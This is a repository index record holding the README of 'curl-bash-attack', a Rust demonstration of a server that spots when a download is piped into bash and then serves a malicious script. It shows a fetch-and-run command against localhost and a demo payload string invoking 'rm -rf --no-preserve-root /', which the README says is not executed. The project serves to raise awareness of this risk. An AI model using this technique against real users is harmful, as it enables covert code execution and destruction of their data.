{"id":19554617,"url":"https://github.com/m4tx/curl-bash-attack","last_synced_at":"2025-10-26T01:08:04.249Z","repository":{"id":257739543,"uuid":"859010203","full_name":"m4tx/curl-bash-attack","owner":"m4tx","description":"Server-side detection of using curl | bash in the CLI","archived":false,"fork":false,"pushed_at":"2025-09-11T21:59:57.000Z","size":137,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-09-28T07:43:59.711Z","etag":null,"topics":["attack","cot-framework","cybersecurity","web"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/m4tx.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE-APACHE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":"m4tx"}},"created_at":"2024-09-17T23:21:58.000Z","updated_at":"2025-09-11T22:00:01.000Z","dependencies_parsed_at":null,"dependency_job_id":"4eacd49c-55fb-4286-bd0f-d660525222a0","html_url":"https://github.com/m4tx/curl-bash-attack","commit_stats":null,"previous_names":["m4tx/curl-bash-attack"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/m4tx/curl-bash-attack","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m4tx%2Fcurl-bash-attack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m4tx%2Fcurl-bash-attack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m4tx%2Fcurl-bash-attack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m4tx%2Fcurl-bash-attack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/m4tx","download_url":"https://codeload.github.com/m4tx/curl-bash-attack/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/m4tx%2Fcurl-bash-attack/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":278692916,"owners_count":26029405,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-06T02:00:05.630Z","response_time":65,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["attack","cot-framework","cybersecurity","web"],"created_at":"2024-11-11T04:28:20.725Z","updated_at":"2025-10-06T22:57:47.992Z","avatar_url":"https://github.com/m4tx.png","language":"Rust","funding_links":["https://github.com/sponsors/m4tx"],"categories":[],"sub_categories":[],"readme":"# curl-bash-attack\n\nAn implementation of an attack that detects a usage of `curl | bash` on the server side to serve a malicious script only to the users who run the command.\n\nThe attack utilizes the way `bash` scripts are executed and measures time between subsequent TCP packets are received to distinguish between running `curl | bash` vs just downloading the script. More details on how the attack works can be found in the [blog post](http://web.archive.org/web/20240423134349/https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/).\n\n![Screencast](docs/screencast.svg)\n\n## Quick Start\n\nMake sure you have [cargo](https://doc.rust-lang.org/cargo/getting-started/installation.html) installed before proceeding.\n\n```shell\ncargo run\n```\n\nAfter that, in another terminal, you can test the attack by running:\n\n```shell\ncurl -s http://localhost:8000 | bash\n```\n\nYou should see `running rm -rf --no-preserve-root /...` in the terminal. Don't worry, the command is not actually executed, it's just a demonstration of the attack!\n\nFor comparison, you can run the following command:\n\n```shell\ncurl -s http://localhost:8000 | cat\n```\n\nYou should just see the following script in the terminal:\n\n```shell\necho Hello!\nsleep 2\necho nothing to do...\n```\n\n## License\n\nThe project is dual-licensed under the [MIT](LICENSE-MIT) and [Apache-2.0](LICENSE-APACHE) licenses.\n\n## Attribution\n\nThe attack is based on [the blog post published on idontplaydarts.com](http://web.archive.org/web/20240423134349/https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/).\n\nThe source code uses an experimental web framework [Cot](https://cot.rs).\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fm4tx%2Fcurl-bash-attack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fm4tx%2Fcurl-bash-attack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fm4tx%2Fcurl-bash-attack/lists"}